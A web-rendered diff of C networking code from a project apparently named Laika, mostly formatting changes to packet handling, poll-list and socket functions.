bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||
bool laikaS_handlePeerIn(struct sLaika_socket *sock)
|
||||
{
|
||||
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||
int recvd;
|
||||
|
||||
switch (peer->pktID) {
|
||||
case LAIKAPKT_MAXNONE:
|
||||
/* try grabbing pktID */
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
case LAIKAPKT_MAXNONE:
|
||||
/* try grabbing pktID */
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
/* read packet ID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
|
||||
/* read packet ID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
|
||||
|
||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
|
||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
|
||||
for itself, so skip all of this */
|
||||
if (peer->pktID == LAIKAPKT_VARPKT)
|
||||
goto _HandlePacketVariadic;
|
||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement.
|
||||
LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT
|
||||
case calls laikaS_startInPacket for itself, so skip all of this */
|
||||
if (peer->pktID == LAIKAPKT_VARPKT)
|
||||
goto _HandlePacketVariadic;
|
||||
|
||||
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic)
|
||||
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
|
||||
peer->packetTbl[peer->pktID].variadic)
|
||||
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||
|
||||
peer->pktSize = peer->packetTbl[peer->pktID].size;
|
||||
peer->pktSize = peer->packetTbl[peer->pktID].size;
|
||||
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer, false);
|
||||
goto _HandlePacketBody;
|
||||
case LAIKAPKT_VARPKT:
|
||||
_HandlePacketVariadic:
|
||||
/* try grabbing pktID & size */
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer, false);
|
||||
goto _HandlePacketBody;
|
||||
case LAIKAPKT_VARPKT:
|
||||
_HandlePacketVariadic:
|
||||
/* try grabbing pktID & size */
|
||||
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) !=
|
||||
RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */
|
||||
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
||||
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was
|
||||
* probably sent maliciously anyways */
|
||||
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
||||
|
||||
/* read packet size */
|
||||
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||
/* read packet size */
|
||||
laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||
|
||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||
LAIKA_ERROR("variable packet too large!\n");
|
||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||
LAIKA_ERROR("variable packet too large!\n");
|
||||
|
||||
/* read pktID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
/* read pktID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic)
|
||||
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
|
||||
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
|
||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
|
||||
!peer->packetTbl[peer->pktID].variadic)
|
||||
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
|
||||
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer, true);
|
||||
goto _HandlePacketBody;
|
||||
default:
|
||||
_HandlePacketBody:
|
||||
/* try grabbing the rest of the packet */
|
||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
/* if peer->useSecure is true, body is encrypted */
|
||||
laikaS_startInPacket(peer, true);
|
||||
goto _HandlePacketBody;
|
||||
default:
|
||||
_HandlePacketBody:
|
||||
/* try grabbing the rest of the packet */
|
||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
/* have we received the full packet? */
|
||||
if (peer->pktSize == peer->sock.inCount) {
|
||||
peer->pktSize = laikaS_endInPacket(peer);
|
||||
/* have we received the full packet? */
|
||||
if (peer->pktSize == peer->sock.inCount) {
|
||||
peer->pktSize = laikaS_endInPacket(peer);
|
||||
|
||||
/* dispatch to packet handler */
|
||||
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
|
||||
/* dispatch to packet handler */
|
||||
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
|
||||
|
||||
/* reset */
|
||||
peer->sock.inCount = 0;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
}
|
||||
/* reset */
|
||||
peer->sock.inCount = 0;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
}
|
||||
|
||||
break;
|
||||
break;
|
||||
}
|
||||
|
||||
return laikaS_isAlive((&peer->sock));
|
||||
}
|
||||
|
||||
bool laikaS_handlePeerOut(struct sLaika_socket *sock) {
|
||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
||||
bool laikaS_handlePeerOut(struct sLaika_socket *sock)
|
||||
{
|
||||
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||
int sent;
|
||||
|
||||
if (peer->sock.outCount == 0) /* sanity check */
|
||||
return true;
|
||||
|
||||
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
|
||||
case RAWSOCK_OK: /* we're ok! */
|
||||
/* if POLLOUT was set, unset it */
|
||||
laikaP_rmvPollOut(peer->pList, &peer->sock);
|
||||
case RAWSOCK_OK: /* we're ok! */
|
||||
/* if POLLOUT was set, unset it */
|
||||
laikaP_rmvPollOut(peer->pList, &peer->sock);
|
||||
|
||||
return true;
|
||||
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
|
||||
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
|
||||
laikaP_addPollOut(peer->pList, &peer->sock);
|
||||
return true;
|
||||
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
|
||||
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
|
||||
laikaP_addPollOut(peer->pList, &peer->sock);
|
||||
|
||||
return true;
|
||||
default: /* panic! */
|
||||
case RAWSOCK_CLOSED:
|
||||
case RAWSOCK_ERROR:
|
||||
return false;
|
||||
return true;
|
||||
default: /* panic! */
|
||||
case RAWSOCK_CLOSED:
|
||||
case RAWSOCK_ERROR:
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
@@ -1,38 +1,44 @@
|
||||
#include "lpolllist.h"
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lpolllist.h"
|
||||
|
||||
/* ===================================[[ Helper Functions ]]==================================== */
|
||||
|
||||
typedef struct sLaika_hashMapElem {
|
||||
typedef struct sLaika_hashMapElem
|
||||
{
|
||||
SOCKET fd;
|
||||
struct sLaika_socket *sock;
|
||||
} tLaika_hashMapElem;
|
||||
|
||||
int elem_compare(const void *a, const void *b, void *udata) {
|
||||
int elem_compare(const void *a, const void *b, void *udata)
|
||||
{
|
||||
const tLaika_hashMapElem *ua = a;
|
||||
const tLaika_hashMapElem *ub = b;
|
||||
|
||||
return ua->fd != ub->fd;
|
||||
return ua->fd != ub->fd;
|
||||
}
|
||||
|
||||
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
|
||||
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1)
|
||||
{
|
||||
const tLaika_hashMapElem *u = item;
|
||||
return (uint64_t)(u->fd);
|
||||
}
|
||||
|
||||
/* =====================================[[ PollList API ]]====================================== */
|
||||
|
||||
void laikaP_initPList(struct sLaika_pollList *pList) {
|
||||
void laikaP_initPList(struct sLaika_pollList *pList)
|
||||
{
|
||||
laikaS_init();
|
||||
|
||||
/* setup hashmap */
|
||||
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL);
|
||||
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash,
|
||||
elem_compare, NULL, NULL);
|
||||
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
|
||||
pList->reventCap = POLLSTARTCAP/GROW_FACTOR;
|
||||
pList->reventCap = POLLSTARTCAP / GROW_FACTOR;
|
||||
pList->reventCount = 0;
|
||||
pList->outQueue = NULL;
|
||||
pList->outCap = POLLSTARTCAP/GROW_FACTOR;
|
||||
pList->outCap = POLLSTARTCAP / GROW_FACTOR;
|
||||
pList->outCount = 0;
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
@@ -43,12 +49,15 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
|
||||
|
||||
#else
|
||||
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
|
||||
pList->fdCapacity = POLLSTARTCAP/GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
|
||||
pList->fdCapacity =
|
||||
POLLSTARTCAP /
|
||||
GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
|
||||
pList->fdCount = 0;
|
||||
#endif
|
||||
}
|
||||
|
||||
void laikaP_cleanPList(struct sLaika_pollList *pList) {
|
||||
void laikaP_cleanPList(struct sLaika_pollList *pList)
|
||||
{
|
||||
laikaM_free(pList->revents);
|
||||
laikaM_free(pList->outQueue);
|
||||
hashmap_free(pList->sockets);
|
||||
@@ -62,13 +71,14 @@ void laikaP_cleanPList(struct sLaika_pollList *pList) {
|
||||
laikaS_cleanUp();
|
||||
}
|
||||
|
||||
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
{
|
||||
/* add socket to hashmap */
|
||||
hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
pList->ev.events = EPOLLIN;
|
||||
pList->ev.data.ptr = (void*)sock;
|
||||
pList->ev.data.ptr = (void *)sock;
|
||||
|
||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
|
||||
LAIKA_ERROR("epoll_ctl [ADD] failed\n");
|
||||
@@ -80,7 +90,8 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
#endif
|
||||
}
|
||||
|
||||
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* remove socket from hashmap */
|
||||
@@ -88,13 +99,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
|
||||
/* make sure peer isn't in outQueue */
|
||||
for (i = 0; i < pList->outCount; i++) {
|
||||
if ((void*)pList->outQueue[i] == (void*)sock) {
|
||||
if ((void *)pList->outQueue[i] == (void *)sock) {
|
||||
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
|
||||
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL
|
||||
* pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
|
||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
|
||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||
LAIKA_WARN("epoll_ctl [DEL] failed\n");
|
||||
@@ -112,13 +124,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
#endif
|
||||
}
|
||||
|
||||
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
{
|
||||
if (sock->setPollOut)
|
||||
return;
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
pList->ev.events = EPOLLIN | EPOLLOUT;
|
||||
pList->ev.data.ptr = (void*)sock;
|
||||
pList->ev.data.ptr = (void *)sock;
|
||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
||||
@@ -138,13 +151,14 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
||||
sock->setPollOut = true;
|
||||
}
|
||||
|
||||
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
{
|
||||
if (!sock->setPollOut)
|
||||
return;
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
pList->ev.events = EPOLLIN;
|
||||
pList->ev.data.ptr = (void*)sock;
|
||||
pList->ev.data.ptr = (void *)sock;
|
||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
||||
@@ -164,7 +178,8 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
||||
sock->setPollOut = false;
|
||||
}
|
||||
|
||||
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
||||
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* first, check that we don't have this peer in the queue already */
|
||||
@@ -173,15 +188,17 @@ void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *so
|
||||
return; /* found it :) */
|
||||
}
|
||||
|
||||
laikaM_growarray(struct sLaika_socket*, pList->outQueue, 1, pList->outCount, pList->outCap);
|
||||
laikaM_growarray(struct sLaika_socket *, pList->outQueue, 1, pList->outCount, pList->outCap);
|
||||
pList->outQueue[pList->outCount++] = sock;
|
||||
}
|
||||
|
||||
void laikaP_resetOutQueue(struct sLaika_pollList *pList) {
|
||||
void laikaP_resetOutQueue(struct sLaika_pollList *pList)
|
||||
{
|
||||
pList->outCount = 0; /* ez lol */
|
||||
}
|
||||
|
||||
void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
|
||||
void laikaP_flushOutQueue(struct sLaika_pollList *pList)
|
||||
{
|
||||
struct sLaika_socket *sock;
|
||||
int i;
|
||||
|
||||
@@ -195,14 +212,16 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
|
||||
laikaP_resetOutQueue(pList);
|
||||
}
|
||||
|
||||
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) {
|
||||
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents)
|
||||
{
|
||||
int nEvents, i;
|
||||
|
||||
pList->reventCount = 0; /* reset revent array */
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a lookup into our socket hashmap
|
||||
not to mention the various improvements epoll() has over poll() :D
|
||||
*/
|
||||
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a
|
||||
lookup into our socket hashmap not to mention the various improvements epoll() has over
|
||||
poll() :D
|
||||
*/
|
||||
nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout);
|
||||
|
||||
if (SOCKETERROR(nEvents))
|
||||
@@ -210,15 +229,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
|
||||
for (i = 0; i < nEvents; i++) {
|
||||
/* add event to revent array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
|
||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
||||
.sock = pList->ep_events[i].data.ptr,
|
||||
.pollIn = pList->ep_events[i].events & EPOLLIN,
|
||||
.pollOut = pList->ep_events[i].events & EPOLLOUT
|
||||
};
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
|
||||
pList->reventCap);
|
||||
pList->revents[pList->reventCount++] =
|
||||
(struct sLaika_pollEvent){.sock = pList->ep_events[i].data.ptr,
|
||||
.pollIn = pList->ep_events[i].events & EPOLLIN,
|
||||
.pollOut = pList->ep_events[i].events & EPOLLOUT};
|
||||
}
|
||||
#else
|
||||
nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */
|
||||
nEvents = poll(pList->fds, pList->fdCount,
|
||||
timeout); /* poll returns -1 for error, or the number of events */
|
||||
|
||||
if (SOCKETERROR(nEvents))
|
||||
LAIKA_ERROR("poll() failed!\n");
|
||||
@@ -228,15 +248,16 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
PollFD pfd = pList->fds[i];
|
||||
if (pList->fds[i].revents != 0) {
|
||||
/* grab socket from hashmap */
|
||||
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
||||
tLaika_hashMapElem *elem = (tLaika_hashMapElem *)hashmap_get(
|
||||
pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
|
||||
|
||||
/* insert event into revents array */
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
|
||||
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
|
||||
.sock = elem->sock,
|
||||
.pollIn = pfd.revents & POLLIN,
|
||||
.pollOut = pfd.revents & POLLOUT
|
||||
};
|
||||
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount,
|
||||
pList->reventCap);
|
||||
pList->revents[pList->reventCount++] =
|
||||
(struct sLaika_pollEvent){.sock = elem->sock,
|
||||
.pollIn = pfd.revents & POLLIN,
|
||||
.pollOut = pfd.revents & POLLOUT};
|
||||
|
||||
nEvents--;
|
||||
}
|
||||
@@ -249,7 +270,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
|
||||
return pList->revents;
|
||||
}
|
||||
|
||||
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt) {
|
||||
bool laikaP_handleEvent(struct sLaika_pollEvent *evnt)
|
||||
{
|
||||
bool result = true;
|
||||
|
||||
/* sanity check */
|
||||
|
@@ -1,14 +1,17 @@
|
||||
#include "lsocket.h"
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsodium.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpacket.h"
|
||||
|
||||
static int _LNSetup = 0;
|
||||
|
||||
bool laikaS_isBigEndian(void) {
|
||||
union {
|
||||
bool laikaS_isBigEndian(void)
|
||||
{
|
||||
union
|
||||
{
|
||||
uint32_t i;
|
||||
uint8_t c[4];
|
||||
} _indxint = {0xDEADB33F};
|
||||
@@ -16,7 +19,8 @@ bool laikaS_isBigEndian(void) {
|
||||
return _indxint.c[0] == 0xDE;
|
||||
}
|
||||
|
||||
void laikaS_init(void) {
|
||||
void laikaS_init(void)
|
||||
{
|
||||
if (_LNSetup++ > 0)
|
||||
return; /* WSA is already setup! */
|
||||
|
||||
@@ -28,7 +32,8 @@ void laikaS_init(void) {
|
||||
#endif
|
||||
}
|
||||
|
||||
void laikaS_cleanUp(void) {
|
||||
void laikaS_cleanUp(void)
|
||||
{
|
||||
if (--_LNSetup > 0)
|
||||
return; /* WSA still needs to be up, a socket is still running */
|
||||
|
||||
@@ -37,7 +42,9 @@ void laikaS_cleanUp(void) {
|
||||
#endif
|
||||
}
|
||||
|
||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData) {
|
||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
||||
pollFailEvent onPollFail, void *uData)
|
||||
{
|
||||
sock->sock = INVALID_SOCKET;
|
||||
sock->onPollFail = onPollFail;
|
||||
sock->onPollIn = onPollIn;
|
||||
@@ -55,7 +62,8 @@ void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent
|
||||
laikaS_init();
|
||||
}
|
||||
|
||||
void laikaS_cleanSocket(struct sLaika_socket *sock) {
|
||||
void laikaS_cleanSocket(struct sLaika_socket *sock)
|
||||
{
|
||||
/* free in & out arrays */
|
||||
laikaM_free(sock->inBuf);
|
||||
laikaM_free(sock->outBuf);
|
||||
@@ -65,7 +73,8 @@ void laikaS_cleanSocket(struct sLaika_socket *sock) {
|
||||
laikaS_cleanUp();
|
||||
}
|
||||
|
||||
void laikaS_kill(struct sLaika_socket *sock) {
|
||||
void laikaS_kill(struct sLaika_socket *sock)
|
||||
{
|
||||
if (!laikaS_isAlive(sock)) /* sanity check */
|
||||
return;
|
||||
|
||||
@@ -80,7 +89,8 @@ void laikaS_kill(struct sLaika_socket *sock) {
|
||||
sock->sock = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
||||
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port)
|
||||
{
|
||||
struct addrinfo res, *result, *curr;
|
||||
|
||||
if (!SOCKETINVALID(sock->sock))
|
||||
@@ -95,14 +105,15 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
||||
if (getaddrinfo(ip, port, &res, &result) != 0)
|
||||
LAIKA_ERROR("getaddrinfo() failed!\n");
|
||||
|
||||
/* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */
|
||||
/* getaddrinfo returns a list of possible addresses, step through them and try them until we
|
||||
* find a valid address */
|
||||
for (curr = result; curr != NULL; curr = curr->ai_next) {
|
||||
sock->sock = socket(curr->ai_family, curr->ai_socktype, curr->ai_protocol);
|
||||
|
||||
/* if it failed, try the next sock */
|
||||
if (SOCKETINVALID(sock->sock))
|
||||
continue;
|
||||
|
||||
|
||||
/* if it's not an invalid socket, break and exit the loop, we found a working addr! */
|
||||
if (!SOCKETINVALID(connect(sock->sock, curr->ai_addr, curr->ai_addrlen)))
|
||||
break;
|
||||
@@ -116,7 +127,8 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) {
|
||||
LAIKA_ERROR("couldn't connect a valid address handle to socket!\n");
|
||||
}
|
||||
|
||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port)
|
||||
{
|
||||
socklen_t addressSize;
|
||||
struct sockaddr_in6 address;
|
||||
int opt = 1;
|
||||
@@ -129,9 +141,9 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||
if (SOCKETINVALID(sock->sock))
|
||||
LAIKA_ERROR("socket() failed!\n");
|
||||
|
||||
/* allow reuse of local address */
|
||||
/* allow reuse of local address */
|
||||
#ifdef _WIN32
|
||||
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char*)&opt, sizeof(int)) != 0)
|
||||
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&opt, sizeof(int)) != 0)
|
||||
#else
|
||||
if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0)
|
||||
#endif
|
||||
@@ -144,18 +156,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||
addressSize = sizeof(address);
|
||||
|
||||
/* bind to the port */
|
||||
if (SOCKETERROR(bind(sock->sock, (struct sockaddr*)&address, addressSize)))
|
||||
if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize)))
|
||||
LAIKA_ERROR("bind() failed!\n");
|
||||
|
||||
if (SOCKETERROR(listen(sock->sock, SOMAXCONN)))
|
||||
LAIKA_ERROR("listen() failed!\n");
|
||||
}
|
||||
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip) {
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ip)
|
||||
{
|
||||
struct sockaddr_in6 address;
|
||||
socklen_t addressSize = sizeof(address);
|
||||
|
||||
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
|
||||
sock->sock = accept(from->sock, (struct sockaddr *)&address, &addressSize);
|
||||
if (SOCKETINVALID(sock->sock))
|
||||
LAIKA_ERROR("accept() failed!\n");
|
||||
|
||||
@@ -166,7 +179,8 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, c
|
||||
}
|
||||
}
|
||||
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
||||
bool laikaS_setNonBlock(struct sLaika_socket *sock)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
unsigned long mode = 1;
|
||||
if (ioctlsocket(sock->sock, FIONBIO, &mode) != 0) {
|
||||
@@ -181,11 +195,13 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) {
|
||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
|
||||
{
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
}
|
||||
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
|
||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz)
|
||||
{
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||
|
||||
/* set NULL bytes */
|
||||
@@ -193,12 +209,14 @@ void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
|
||||
sock->outCount += sz;
|
||||
}
|
||||
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
{
|
||||
memcpy(buf, sock->inBuf, sz);
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
|
||||
}
|
||||
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz)
|
||||
{
|
||||
/* make sure we have enough space to copy the buffer */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
|
||||
|
||||
@@ -207,7 +225,8 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
|
||||
sock->outCount += sz;
|
||||
}
|
||||
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub) {
|
||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub)
|
||||
{
|
||||
